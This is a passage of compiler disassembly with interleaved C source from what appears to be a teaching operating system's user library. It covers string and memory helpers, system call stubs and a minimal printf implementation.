-0x10(%rbp),%rax 124d: 0f b6 00 movzbl (%rax),%eax 1250: 0f b6 c0 movzbl %al,%eax 1253: 29 c2 sub %eax,%edx 1255: 89 d0 mov %edx,%eax } 1257: c9 leaveq 1258: c3 retq 0000000000001259 <strlen>: uint strlen(char *s) { 1259: f3 0f 1e fa endbr64 125d: 55 push %rbp 125e: 48 89 e5 mov %rsp,%rbp 1261: 48 83 ec 18 sub $0x18,%rsp 1265: 48 89 7d e8 mov %rdi,-0x18(%rbp) int n; for(n = 0; s[n]; n++) 1269: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp) 1270: eb 04 jmp 1276 <strlen+0x1d> 1272: 83 45 fc 01 addl $0x1,-0x4(%rbp) 1276: 8b 45 fc mov -0x4(%rbp),%eax 1279: 48 63 d0 movslq %eax,%rdx 127c: 48 8b 45 e8 mov -0x18(%rbp),%rax 1280: 48 01 d0 add %rdx,%rax 1283: 0f b6 00 movzbl (%rax),%eax 1286: 84 c0 test %al,%al 1288: 75 e8 jne 1272 <strlen+0x19> ; return n; 128a: 8b 45 fc mov -0x4(%rbp),%eax } 128d: c9 leaveq 128e: c3 retq 000000000000128f <memset>: void* memset(void *dst, int c, uint n) { 128f: f3 0f 1e fa endbr64 1293: 55 push %rbp 1294: 48 89 e5 mov %rsp,%rbp 1297: 48 83 ec 10 sub $0x10,%rsp 129b: 48 89 7d f8 mov %rdi,-0x8(%rbp) 129f: 89 75 f4 mov %esi,-0xc(%rbp) 12a2: 89 55 f0 mov %edx,-0x10(%rbp) stosb(dst, c, n); 12a5: 8b 55 f0 mov -0x10(%rbp),%edx 12a8: 8b 4d f4 mov -0xc(%rbp),%ecx 12ab: 48 8b 45 f8 mov -0x8(%rbp),%rax 12af: 89 ce mov %ecx,%esi 12b1: 48 89 c7 mov %rax,%rdi 12b4: 48 b8 81 11 00 00 00 movabs $0x1181,%rax 12bb: 00 00 00 12be: ff d0 callq *%rax return dst; 12c0: 48 8b 45 f8 mov -0x8(%rbp),%rax } 12c4: c9 leaveq 12c5: c3 retq 00000000000012c6 <strchr>: char* strchr(const char *s, char c) { 12c6: f3 0f 1e fa endbr64 12ca: 55 push %rbp 12cb: 48 89 e5 mov %rsp,%rbp 12ce: 48 83 ec 10 sub $0x10,%rsp 12d2: 48 89 7d f8 mov %rdi,-0x8(%rbp) 12d6: 89 f0 mov %esi,%eax 12d8: 88 45 f4 mov %al,-0xc(%rbp) for(; *s; s++) 12db: eb 17 jmp 12f4 <strchr+0x2e> if(*s == c) 12dd: 48 8b 45 f8 mov -0x8(%rbp),%rax 12e1: 0f b6 00 movzbl (%rax),%eax 12e4: 38 45 f4 cmp %al,-0xc(%rbp) 12e7: 75 06 jne 12ef <strchr+0x29> return (char*)s; 12e9: 48 8b 45 f8 mov -0x8(%rbp),%rax 12ed: eb 15 jmp 1304 <strchr+0x3e> for(; *s; s++) 12ef: 48 83 45 f8 01 addq $0x1,-0x8(%rbp) 12f4: 48 8b 45 f8 mov -0x8(%rbp),%rax 12f8: 0f b6 00 movzbl (%rax),%eax 12fb: 84 c0 test %al,%al 12fd: 75 de jne 12dd <strchr+0x17> return 0; 12ff: b8 00 00 00 00 mov $0x0,%eax } 1304: c9 leaveq 1305: c3 retq 0000000000001306 <gets>: char* gets(char *buf, int max) { 1306: f3 0f 1e fa endbr64 130a: 55 push %rbp 130b: 48 89 e5 mov %rsp,%rbp 130e: 48 83 ec 20 sub $0x20,%rsp 1312: 48 89 7d e8 mov %rdi,-0x18(%rbp) 1316: 89 75 e4 mov %esi,-0x1c(%rbp) int i, cc; char c; for(i=0; i+1 < max; ){ 1319: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp) 1320: eb 4f jmp 1371 <gets+0x6b> cc = read(0, &c, 1); 1322: 48 8d 45 f7 lea -0x9(%rbp),%rax 1326: ba 01 00 00 00 mov $0x1,%edx 132b: 48 89 c6 mov %rax,%rsi 132e: bf 00 00 00 00 mov $0x0,%edi 1333: 48 b8 eb 14 00 00 00 movabs $0x14eb,%rax 133a: 00 00 00 133d: ff d0 callq *%rax 133f: 89 45 f8 mov %eax,-0x8(%rbp) if(cc < 1) 1342: 83 7d f8 00 cmpl $0x0,-0x8(%rbp) 1346: 7e 36 jle 137e <gets+0x78> break; buf[i++] = c; 1348: 8b 45 fc mov -0x4(%rbp),%eax 134b: 8d 50 01 lea 0x1(%rax),%edx 134e: 89 55 fc mov %edx,-0x4(%rbp) 1351: 48 63 d0 movslq %eax,%rdx 1354: 48 8b 45 e8 mov -0x18(%rbp),%rax 1358: 48 01 c2 add %rax,%rdx 135b: 0f b6 45 f7 movzbl -0x9(%rbp),%eax 135f: 88 02 mov %al,(%rdx) if(c == '\n' || c == '\r') 1361: 0f b6 45 f7 movzbl -0x9(%rbp),%eax 1365: 3c 0a cmp $0xa,%al 1367: 74 16 je 137f <gets+0x79> 1369: 0f b6 45 f7 movzbl -0x9(%rbp),%eax 136d: 3c 0d cmp $0xd,%al 136f: 74 0e je 137f <gets+0x79> for(i=0; i+1 < max; ){ 1371: 8b 45 fc mov -0x4(%rbp),%eax 1374: 83 c0 01 add $0x1,%eax 1377: 39 45 e4 cmp %eax,-0x1c(%rbp) 137a: 7f a6 jg 1322 <gets+0x1c> 137c: eb 01 jmp 137f <gets+0x79> break; 137e: 90 nop break; } buf[i] = '\0'; 137f: 8b 45 fc mov -0x4(%rbp),%eax 1382: 48 63 d0 movslq %eax,%rdx 1385: 48 8b 45 e8 mov -0x18(%rbp),%rax 1389: 48 01 d0 add %rdx,%rax 138c: c6 00 00 movb $0x0,(%rax) return buf; 138f: 48 8b 45 e8 mov -0x18(%rbp),%rax } 1393: c9 leaveq 1394: c3 retq 0000000000001395 <stat>: int stat(char *n, struct stat *st) { 1395: f3 0f 1e fa endbr64 1399: 55 push %rbp 139a: 48 89 e5 mov %rsp,%rbp 139d: 48 83 ec 20 sub $0x20,%rsp 13a1: 48 89 7d e8 mov %rdi,-0x18(%rbp) 13a5: 48 89 75 e0 mov %rsi,-0x20(%rbp) int fd; int r; fd = open(n, O_RDONLY); 13a9: 48 8b 45 e8 mov -0x18(%rbp),%rax 13ad: be 00 00 00 00 mov $0x0,%esi 13b2: 48 89 c7 mov %rax,%rdi 13b5: 48 b8 2c 15 00 00 00 movabs $0x152c,%rax 13bc: 00 00 00 13bf: ff d0 callq *%rax 13c1: 89 45 fc mov %eax,-0x4(%rbp) if(fd < 0) 13c4: 83 7d fc 00 cmpl $0x0,-0x4(%rbp) 13c8: 79 07 jns 13d1 <stat+0x3c> return -1; 13ca: b8 ff ff ff ff mov $0xffffffff,%eax 13cf: eb 2f jmp 1400 <stat+0x6b> r = fstat(fd, st); 13d1: 48 8b 55 e0 mov -0x20(%rbp),%rdx 13d5: 8b 45 fc mov -0x4(%rbp),%eax 13d8: 48 89 d6 mov %rdx,%rsi 13db: 89 c7 mov %eax,%edi 13dd: 48 b8 53 15 00 00 00 movabs $0x1553,%rax 13e4: 00 00 00 13e7: ff d0 callq *%rax 13e9: 89 45 f8 mov %eax,-0x8(%rbp) close(fd); 13ec: 8b 45 fc mov -0x4(%rbp),%eax 13ef: 89 c7 mov %eax,%edi 13f1: 48 b8 05 15 00 00 00 movabs $0x1505,%rax 13f8: 00 00 00 13fb: ff d0 callq *%rax return r; 13fd: 8b 45 f8 mov -0x8(%rbp),%eax } 1400: c9 leaveq 1401: c3 retq 0000000000001402 <atoi>: int atoi(const char *s) { 1402: f3 0f 1e fa endbr64 1406: 55 push %rbp 1407: 48 89 e5 mov %rsp,%rbp 140a: 48 83 ec 18 sub $0x18,%rsp 140e: 48 89 7d e8 mov %rdi,-0x18(%rbp) int n; n = 0; 1412: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp) while('0' <= *s && *s <= '9') 1419: eb 28 jmp 1443 <atoi+0x41> n = n*10 + *s++ - '0'; 141b: 8b 55 fc mov -0x4(%rbp),%edx 141e: 89 d0 mov %edx,%eax 1420: c1 e0 02 shl $0x2,%eax 1423: 01 d0 add %edx,%eax 1425: 01 c0 add %eax,%eax 1427: 89 c1 mov %eax,%ecx 1429: 48 8b 45 e8 mov -0x18(%rbp),%rax 142d: 48 8d 50 01 lea 0x1(%rax),%rdx 1431: 48 89 55 e8 mov %rdx,-0x18(%rbp) 1435: 0f b6 00 movzbl (%rax),%eax 1438: 0f be c0 movsbl %al,%eax 143b: 01 c8 add %ecx,%eax 143d: 83 e8 30 sub $0x30,%eax 1440: 89 45 fc mov %eax,-0x4(%rbp) while('0' <= *s && *s <= '9') 1443: 48 8b 45 e8 mov -0x18(%rbp),%rax 1447: 0f b6 00 movzbl (%rax),%eax 144a: 3c 2f cmp $0x2f,%al 144c: 7e 0b jle 1459 <atoi+0x57> 144e: 48 8b 45 e8 mov -0x18(%rbp),%rax 1452: 0f b6 00 movzbl (%rax),%eax 1455: 3c 39 cmp $0x39,%al 1457: 7e c2 jle 141b <atoi+0x19> return n; 1459: 8b 45 fc mov -0x4(%rbp),%eax } 145c: c9 leaveq 145d: c3 retq 000000000000145e <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 145e: f3 0f 1e fa endbr64 1462: 55 push %rbp 1463: 48 89 e5 mov %rsp,%rbp 1466: 48 83 ec 28 sub $0x28,%rsp 146a: 48 89 7d e8 mov %rdi,-0x18(%rbp) 146e: 48 89 75 e0 mov %rsi,-0x20(%rbp) 1472: 89 55 dc mov %edx,-0x24(%rbp) char *dst, *src; dst = vdst; 1475: 48 8b 45 e8 mov -0x18(%rbp),%rax 1479: 48 89 45 f8 mov %rax,-0x8(%rbp) src = vsrc; 147d: 48 8b 45 e0 mov -0x20(%rbp),%rax 1481: 48 89 45 f0 mov %rax,-0x10(%rbp) while(n-- > 0) 1485: eb 1d jmp 14a4 <memmove+0x46> *dst++ = *src++; 1487: 48 8b 55 f0 mov -0x10(%rbp),%rdx 148b: 48 8d 42 01 lea 0x1(%rdx),%rax 148f: 48 89 45 f0 mov %rax,-0x10(%rbp) 1493: 48 8b 45 f8 mov -0x8(%rbp),%rax 1497: 48 8d 48 01 lea 0x1(%rax),%rcx 149b: 48 89 4d f8 mov %rcx,-0x8(%rbp) 149f: 0f b6 12 movzbl (%rdx),%edx 14a2: 88 10 mov %dl,(%rax) while(n-- > 0) 14a4: 8b 45 dc mov -0x24(%rbp),%eax 14a7: 8d 50 ff lea -0x1(%rax),%edx 14aa: 89 55 dc mov %edx,-0x24(%rbp) 14ad: 85 c0 test %eax,%eax 14af: 7f d6 jg 1487 <memmove+0x29> return vdst; 14b1: 48 8b 45 e8 mov -0x18(%rbp),%rax } 14b5: c9 leaveq 14b6: c3 retq 00000000000014b7 <fork>: mov $SYS_ ## name, %rax; \ mov %rcx, %r10 ;\ syscall ;\ ret SYSCALL(fork) 14b7: 48 c7 c0 01 00 00 00 mov $0x1,%rax 14be: 49 89 ca mov %rcx,%r10 14c1: 0f 05 syscall 14c3: c3 retq 00000000000014c4 <exit>: SYSCALL(exit) 14c4: 48 c7 c0 02 00 00 00 mov $0x2,%rax 14cb: 49 89 ca mov %rcx,%r10 14ce: 0f 05 syscall 14d0: c3 retq 00000000000014d1 <wait>: SYSCALL(wait) 14d1: 48 c7 c0 03 00 00 00 mov $0x3,%rax 14d8: 49 89 ca mov %rcx,%r10 14db: 0f 05 syscall 14dd: c3 retq 00000000000014de <pipe>: SYSCALL(pipe) 14de: 48 c7 c0 04 00 00 00 mov $0x4,%rax 14e5: 49 89 ca mov %rcx,%r10 14e8: 0f 05 syscall 14ea: c3 retq 00000000000014eb <read>: SYSCALL(read) 14eb: 48 c7 c0 05 00 00 00 mov $0x5,%rax 14f2: 49 89 ca mov %rcx,%r10 14f5: 0f 05 syscall 14f7: c3 retq 00000000000014f8 <write>: SYSCALL(write) 14f8: 48 c7 c0 10 00 00 00 mov $0x10,%rax 14ff: 49 89 ca mov %rcx,%r10 1502: 0f 05 syscall 1504: c3 retq 0000000000001505 <close>: SYSCALL(close) 1505: 48 c7 c0 15 00 00 00 mov $0x15,%rax 150c: 49 89 ca mov %rcx,%r10 150f: 0f 05 syscall 1511: c3 retq 0000000000001512 <kill>: SYSCALL(kill) 1512: 48 c7 c0 06 00 00 00 mov $0x6,%rax 1519: 49 89 ca mov %rcx,%r10 151c: 0f 05 syscall 151e: c3 retq 000000000000151f <exec>: SYSCALL(exec) 151f: 48 c7 c0 07 00 00 00 mov $0x7,%rax 1526: 49 89 ca mov %rcx,%r10 1529: 0f 05 syscall 152b: c3 retq 000000000000152c <open>: SYSCALL(open) 152c: 48 c7 c0 0f 00 00 00 mov $0xf,%rax 1533: 49 89 ca mov %rcx,%r10 1536: 0f 05 syscall 1538: c3 retq 0000000000001539 <mknod>: SYSCALL(mknod) 1539: 48 c7 c0 11 00 00 00 mov $0x11,%rax 1540: 49 89 ca mov %rcx,%r10 1543: 0f 05 syscall 1545: c3 retq 0000000000001546 <unlink>: SYSCALL(unlink) 1546: 48 c7 c0 12 00 00 00 mov $0x12,%rax 154d: 49 89 ca mov %rcx,%r10 1550: 0f 05 syscall 1552: c3 retq 0000000000001553 <fstat>: SYSCALL(fstat) 1553: 48 c7 c0 08 00 00 00 mov $0x8,%rax 155a: 49 89 ca mov %rcx,%r10 155d: 0f 05 syscall 155f: c3 retq 0000000000001560 <link>: SYSCALL(link) 1560: 48 c7 c0 13 00 00 00 mov $0x13,%rax 1567: 49 89 ca mov %rcx,%r10 156a: 0f 05 syscall 156c: c3 retq 000000000000156d <mkdir>: SYSCALL(mkdir) 156d: 48 c7 c0 14 00 00 00 mov $0x14,%rax 1574: 49 89 ca mov %rcx,%r10 1577: 0f 05 syscall 1579: c3 retq 000000000000157a <chdir>: SYSCALL(chdir) 157a: 48 c7 c0 09 00 00 00 mov $0x9,%rax 1581: 49 89 ca mov %rcx,%r10 1584: 0f 05 syscall 1586: c3 retq 0000000000001587 <dup>: SYSCALL(dup) 1587: 48 c7 c0 0a 00 00 00 mov $0xa,%rax 158e: 49 89 ca mov %rcx,%r10 1591: 0f 05 syscall 1593: c3 retq 0000000000001594 <getpid>: SYSCALL(getpid) 1594: 48 c7 c0 0b 00 00 00 mov $0xb,%rax 159b: 49 89 ca mov %rcx,%r10 159e: 0f 05 syscall 15a0: c3 retq 00000000000015a1 <sbrk>: SYSCALL(sbrk) 15a1: 48 c7 c0 0c 00 00 00 mov $0xc,%rax 15a8: 49 89 ca mov %rcx,%r10 15ab: 0f 05 syscall 15ad: c3 retq 00000000000015ae <sleep>: SYSCALL(sleep) 15ae: 48 c7 c0 0d 00 00 00 mov $0xd,%rax 15b5: 49 89 ca mov %rcx,%r10 15b8: 0f 05 syscall 15ba: c3 retq 00000000000015bb <uptime>: SYSCALL(uptime) 15bb: 48 c7 c0 0e 00 00 00 mov $0xe,%rax 15c2: 49 89 ca mov %rcx,%r10 15c5: 0f 05 syscall 15c7: c3 retq 00000000000015c8 <dedup>: SYSCALL(dedup) 15c8: 48 c7 c0 16 00 00 00 mov $0x16,%rax 15cf: 49 89 ca mov %rcx,%r10 15d2: 0f 05 syscall 15d4: c3 retq 00000000000015d5 <freepages>: SYSCALL(freepages) 15d5: 48 c7 c0 17 00 00 00 mov $0x17,%rax 15dc: 49 89 ca mov %rcx,%r10 15df: 0f 05 syscall 15e1: c3 retq 00000000000015e2 <putc>: #include <stdarg.h> static void putc(int fd, char c) { 15e2: f3 0f 1e fa endbr64 15e6: 55 push %rbp 15e7: 48 89 e5 mov %rsp,%rbp 15ea: 48 83 ec 10 sub $0x10,%rsp 15ee: 89 7d fc mov %edi,-0x4(%rbp) 15f1: 89 f0 mov %esi,%eax 15f3: 88 45 f8 mov %al,-0x8(%rbp) write(fd, &c, 1); 15f6: 48 8d 4d f8 lea -0x8(%rbp),%rcx 15fa: 8b 45 fc mov -0x4(%rbp),%eax 15fd: ba 01 00 00 00 mov $0x1,%edx 1602: 48 89 ce mov %rcx,%rsi 1605: 89 c7 mov %eax,%edi 1607: 48 b8 f8 14 00 00 00 movabs $0x14f8,%rax 160e: 00 00 00 1611: ff d0 callq *%rax } 1613: 90 nop 1614: c9 leaveq 1615: c3 retq 0000000000001616 <print_x64>: static char digits[] = "0123456789abcdef"; static void print_x64(int fd, addr_t x) { 1616: f3 0f 1e fa endbr64 161a: 55 push %rbp 161b: 48 89 e5 mov %rsp,%rbp 161e: 48 83 ec 20 sub $0x20,%rsp 1622: 89 7d ec mov %edi,-0x14(%rbp) 1625: 48 89 75 e0 mov %rsi,-0x20(%rbp) int i; for (i = 0; i < (sizeof(addr_t) * 2); i++, x <<= 4) 1629: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp) 1630: eb 35 jmp 1667 <print_x64+0x51> putc(fd, digits[x >> (sizeof(addr_t) * 8 - 4)]); 1632: 48 8b 45 e0 mov -0x20(%rbp),%rax 1636: 48 c1 e8 3c shr $0x3c,%rax 163a: 48 ba 70 22 00 00 00 movabs $0x2270,%rdx 1641: 00 00 00 1644: 0f b6 04 02 movzbl (%rdx,%rax,1),%eax 1648: 0f be d0 movsbl %al,%edx 164b: 8b 45 ec mov -0x14(%rbp),%eax 164e: 89 d6 mov %edx,%esi 1650: 89 c7 mov %eax,%edi 1652: 48 b8 e2 15 00 00 00 movabs $0x15e2,%rax 1659: 00 00 00 165c: ff d0 callq *%rax for (i = 0; i < (sizeof(addr_t) * 2); i++, x <<= 4) 165e: 83 45 fc 01 addl $0x1,-0x4(%rbp) 1662: 48 c1 65 e0 04 shlq $0x4,-0x20(%rbp) 1667: 8b 45 fc mov -0x4(%rbp),%eax 166a: 83 f8 0f cmp $0xf,%eax 166d: 76 c3 jbe 1632 <print_x64+0x1c> } 166f: 90 nop 1670: 90 nop 1671: c9 leaveq 1672: c3 retq 0000000000001673 <print_x32>: static void print_x32(int fd, uint x) { 1673: f3 0f 1e fa endbr64 1677: 55 push %rbp 1678: 48 89 e5 mov %rsp,%rbp 167b: 48 83 ec 20 sub $0x20,%rsp 167f: 89 7d ec mov %edi,-0x14(%rbp) 1682: 89 75 e8 mov %esi,-0x18(%rbp) int i; for (i = 0; i < (sizeof(uint) * 2); i++, x <<= 4) 1685: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp) 168c: eb 36 jmp 16c4 <print_x32+0x51> putc(fd, digits[x >> (sizeof(uint) * 8 - 4)]); 168e: 8b 45 e8 mov -0x18(%rbp),%eax 1691: c1 e8 1c shr $0x1c,%eax 1694: 89 c2 mov %eax,%edx 1696: 48 b8 70 22 00 00 00 movabs $0x2270,%rax 169d: 00 00 00 16a0: 89 d2 mov %edx,%edx 16a2: 0f b6 04 10 movzbl (%rax,%rdx,1),%eax 16a6: 0f be d0 movsbl %al,%edx 16a9: 8b 45 ec mov -0x14(%rbp),%eax 16ac: 89 d6 mov %edx,%esi 16ae: 89 c7 mov %eax,%edi 16b0: 48 b8 e2 15 00 00 00 movabs $0x15e2,%rax 16b7: 00 00 00 16ba: ff d0 callq *%rax for (i = 0; i < (sizeof(uint) * 2); i++, x <<= 4) 16bc: 83 45 fc 01 addl $0x1,-0x4(%rbp) 16c0: c1 65 e8 04 shll $0x4,-0x18(%rbp) 16c4: 8b 45 fc mov -0x4(%rbp),%eax 16c7: 83 f8 07 cmp $0x7,%eax 16ca: 76 c2 jbe 168e <print_x32+0x1b> } 16cc: 90 nop 16cd: 90 nop 16ce: c9 leaveq 16cf: c3 retq 00000000000016d0 <print_d>: static void print_d(int fd, int v) { 16d0: f3 0f 1e fa endbr64 16d4: 55 push %rbp 16d5: 48 89 e5 mov %rsp,%rbp 16d8: 48 83 ec 30 sub $0x30,%rsp 16dc: 89 7d dc mov %edi,-0x24(%rbp) 16df: 89 75 d8 mov %esi,-0x28(%rbp) char buf[16]; int64 x = v; 16e2: 8b 45 d8 mov -0x28(%rbp),%eax 16e5: 48 98 cltq 16e7: 48 89 45 f8 mov %rax,-0x8(%rbp) if (v < 0) 16eb: 83 7d d8 00 cmpl $0x0,-0x28(%rbp) 16ef: 79 04 jns 16f5 <print_d+0x25> x = -x; 16f1: 48 f7 5d f8 negq -0x8(%rbp) int i = 0; 16f5: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%rbp) do { buf[i++] = digits[x % 10]; 16fc: 48 8b 4d f8 mov -0x8(%rbp),%rcx 1700: 48 ba 67 66 66 66 66 movabs $0x6666666666666667,%rdx 1707: 66 66 66 170a: 48 89 c8 mov %rcx,%rax 170d: 48 f7 ea imul %rdx 1710: 48 c1 fa 02 sar $0x2,%rdx 1714: 48 89 c8 mov %rcx,%rax 1717: 48 c1 f8 3f sar $0x3f,%rax 171b: 48 29 c2 sub %rax,%rdx 171e: 48 89 d0 mov %rdx,%rax 1721: 48 c1 e0 02 shl $0x2,%rax 1725: 48 01 d0 add %rdx,%rax 1728: 48 01 c0 add %rax,%rax 172b: 48 29 c1 sub %rax,%rcx 172e: 48 89 ca mov %rcx,%rdx 1731: 8b 45 f4 mov -0xc(%rbp),%eax 1734: 8d 48 01 lea 0x1(%rax),%ecx 1737: 89 4d f4 mov %ecx,-0xc(%rbp) 173a: 48 b9 70 22 00 00 00 movabs $0x2270,%rcx 1741: 00 00 00 1744: 0f b6 14 11 movzbl (%rcx,%rdx,1),%edx 1748: 48 98 cltq 174a: 88 54 05 e0 mov %dl,-0x20(%rbp,%rax,1) x /= 10; 174e: 48 8b 4d f8 mov -0x8(%rbp),%rcx 1752: 48 ba 67 66 66 66 66 movabs $0x6666666666666667,%rdx 1759: 66 66 66 175c: 48 89 c8 mov %rcx,%rax 175f: 48 f7 ea imul %rdx 1762: 48 c1 fa 02 sar $0x2,%rdx 1766: 48 89 c8 mov %rcx,%rax 1769: 48 c1 f8 3f sar $0x3f,%rax 176d: 48 29 c2 sub %rax,%rdx 1770: 48 89 d0 mov %rdx,%rax 1773: 48 89 45 f8 mov %rax,-0x8(%rbp) } while(x != 0); 1777: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp) 177c: 0f 85 7a ff ff ff jne 16fc <print_d+0x2c> if (v < 0) 1782: 83 7d d8 00 cmpl $0x0,-0x28(%rbp) 1786: 79 32 jns 17ba <print_d+0xea> buf[i++] = '-'; 1788: 8b 45 f4 mov -0xc(%rbp),%eax 178b: 8d 50 01 lea 0x1(%rax),%edx 178e: 89 55 f4 mov %edx,-0xc(%rbp) 1791: 48 98 cltq 1793: c6 44 05 e0 2d movb $0x2d,-0x20(%rbp,%rax,1) while (--i >= 0) 1798: eb 20 jmp 17ba <print_d+0xea> putc(fd, buf[i]); 179a: 8b 45 f4 mov -0xc(%rbp),%eax 179d: 48 98 cltq 179f: 0f b6 44 05 e0 movzbl -0x20(%rbp,%rax,1),%eax 17a4: 0f be d0 movsbl %al,%edx 17a7: 8b 45 dc mov -0x24(%rbp),%eax 17aa: 89 d6 mov %edx,%esi 17ac: 89 c7 mov %eax,%edi 17ae: 48 b8 e2 15 00 00 00 movabs $0x15e2,%rax 17b5: 00 00 00 17b8: ff d0 callq *%rax while (--i >= 0) 17ba: 83 6d f4 01 subl $0x1,-0xc(%rbp) 17be: 83 7d f4 00 cmpl $0x0,-0xc(%rbp) 17c2: 79 d6 jns 179a <print_d+0xca> } 17c4: 90 nop 17c5: 90 nop 17c6: c9 leaveq 17c7: c3 retq 00000000000017c8 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 17c8: f3 0f 1e fa endbr64 17cc: 55 push %rbp 17cd: 48 89 e5 mov %rsp,%rbp 17d0: 48 81 ec f0 00 00 00 sub $0xf0,%rsp 17d7: 89 bd 1c ff ff ff mov %edi,-0xe4(%rbp) 17dd: 48 89 b5 10 ff ff ff mov %rsi,-0xf0(%rbp) 17e4: 48 89 95 60 ff ff ff mov %rdx,-0xa0(%rbp) 17eb: 48 89 8d 68 ff ff ff mov %rcx,-0x98(%rbp) 17f2: 4c 89 85 70 ff ff ff mov %r8,-0x90(%rbp) 17f9: 4c 89 8d 78 ff ff ff mov %r9,-0x88(%rbp) 1800: 84 c0 test %al,%al 1802: 74 20 je 1824 <printf+0x5c> 1804: 0f 29 45 80 movaps %xmm0,-0x80(%rbp) 1808: 0f 29 4d 90 movaps %xmm1,-0x70(%rbp) 180c: 0f 29 55 a0 movaps %xmm2,-0x60(%rbp) 1810: 0f 29 5d b0 movaps %xmm3,-0x50(%rbp) 1814: 0f 29 65 c0 movaps %xmm4,-0x40(%rbp) 1818: 0f 29 6d d0 movaps %xmm5,-0x30(%rbp) 181c: 0f 29 75 e0 movaps %xmm6,-0x20(%rbp) 1820: 0f 29 7d f0 movaps %xmm7,-0x10(%rbp) va_list ap; int i, c; char *s; va_start(ap, fmt); 1824: c7 85 20 ff ff ff 10 movl $0x10,-0xe0(%rbp) 182b: 00 00 00 182e: c7 85 24 ff ff ff 30 movl $0x30,-0xdc(%rbp) 1835: 00 00 00 1838: 48 8d 45 10 lea 0x10(%rbp),%rax 183c: 48 89 85 28 ff ff ff mov %rax,-0xd8(%rbp) 1843: 48 8d 85 50 ff ff ff lea -0xb0(%rbp),%rax 184a: 48 89 85 30 ff ff ff mov %rax,-0xd0(%rbp) for (i = 0; (c = fmt[i] & 0xff) != 0; i++) { 1851: c7 85 4c ff ff ff 00 movl $0x0,-0xb4(%rbp) 1858: 00 00 00 185b: e9 41 03 00 00 jmpq 1ba1 <printf+0x3d9> if (c != '%') { 1860: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp) 1867: 74 24 je 188d <printf+0xc5> putc(fd, c); 1869: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax 186f: 0f be d0 movsbl %al,%edx 1872: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax 1878: 89 d6 mov %edx,%esi 187a: 89 c7 mov %eax,%edi 187c: 48 b8 e2 15 00 00 00 movabs $0x15e2,%rax 1883: 00 00 00 1886: ff d0 callq *%rax continue; 1888: e9 0d 03 00 00 jmpq 1b9a <printf+0x3d2> } c = fmt[++i] & 0xff; 188d: 83 85 4c ff ff ff 01 addl $0x1,-0xb4(%rbp) 1894: 8b 85 4c ff ff ff mov -0xb4(%rbp),%eax 189a: 48 63 d0 movslq %eax,%rdx 189d: 48 8b 85 10 ff ff ff mov -0xf0(%rbp),%rax 18a4: 48 01 d0 add %rdx,%rax 18a7: 0f b6 00 movzbl (%rax),%eax 18aa: 0f be c0 movsbl %al,%eax 18ad: 25 ff 00 00 00 and $0xff,%eax 18b2: 89 85 3c ff ff ff mov %eax,-0xc4(%rbp) if (c == 0) 18b8: 83 bd 3c ff ff ff 00 cmpl $0x0,-0xc4(%rbp) 18bf: 0f 84 0f 03 00 00 je 1bd4 <printf+0x40c> break; switch(c) { 18c5: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp) 18cc: 0f 84 74 02 00 00 je 1b46 <printf+0x37e> 18d2: 83 bd 3c ff ff ff 25 cmpl $0x25,-0xc4(%rbp) 18d9: 0f 8c 82 02 00 00 jl 1b61 <printf+0x399> 18df: 83 bd 3c ff ff ff 78 cmpl $0x78,-0xc4(%rbp) 18e6: 0f 8f 75 02 00 00 jg 1b61 <printf+0x399> 18ec: 83 bd 3c ff ff ff 63 cmpl $0x63,-0xc4(%rbp) 18f3: 0f 8c 68 02 00 00 jl 1b61 <printf+0x399> 18f9: 8b 85 3c ff ff ff mov -0xc4(%rbp),%eax 18ff: 83 e8 63 sub $0x63,%eax 1902: 83 f8 15 cmp $0x15,%eax 1905: 0f 87 56 02 00 00 ja 1b61 <printf+0x399> 190b: 89 c0 mov %eax,%eax 190d: 48 8d 14 c5 00 00 00 lea 0x0(,%rax,8),%rdx 1914: 00 1915: 48 b8 38 1f 00 00 00 movabs $0x1f38,%rax 191c: 00 00 00 191f: 48 01 d0 add %rdx,%rax 1922: 48 8b 00 mov (%rax),%rax 1925: 3e ff e0 notrack jmpq *%rax case 'c': putc(fd, va_arg(ap, int)); 1928: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax 192e: 83 f8 2f cmp $0x2f,%eax 1931: 77 23 ja 1956 <printf+0x18e> 1933: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax 193a: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx 1940: 89 d2 mov %edx,%edx 1942: 48 01 d0 add %rdx,%rax 1945: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx 194b: 83 c2 08 add $0x8,%edx 194e: 89 95 20 ff ff ff mov %edx,-0xe0(%rbp) 1954: eb 12 jmp 1968 <printf+0x1a0> 1956: 48 8b 85 28 ff ff ff mov -0xd8(%rbp),%rax 195d: 48 8d 50 08 lea 0x8(%rax),%rdx 1961: 48 89 95 28 ff ff ff mov %rdx,-0xd8(%rbp) 1968: 8b 00 mov (%rax),%eax 196a: 0f be d0 movsbl %al,%edx 196d: 8b 85 1c ff ff ff mov -0xe4(%rbp),%eax 1973: 89 d6 mov %edx,%esi 1975: 89 c7 mov %eax,%edi 1977: 48 b8 e2 15 00 00 00 movabs $0x15e2,%rax 197e: 00 00 00 1981: ff d0 callq *%rax break; 1983: e9 12 02 00 00 jmpq 1b9a <printf+0x3d2> case 'd': print_d(fd, va_arg(ap, int)); 1988: 8b 85 20 ff ff ff mov -0xe0(%rbp),%eax 198e: 83 f8 2f cmp $0x2f,%eax 1991: 77 23 ja 19b6 <printf+0x1ee> 1993: 48 8b 85 30 ff ff ff mov -0xd0(%rbp),%rax 199a: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx 19a0: 89 d2 mov %edx,%edx 19a2: 48 01 d0 add %rdx,%rax 19a5: 8b 95 20 ff ff ff mov -0xe0(%rbp),%edx 19ab: 83 c2 08 add $0x8,%edx 19ae: 89 95 20 ff ff ff mov 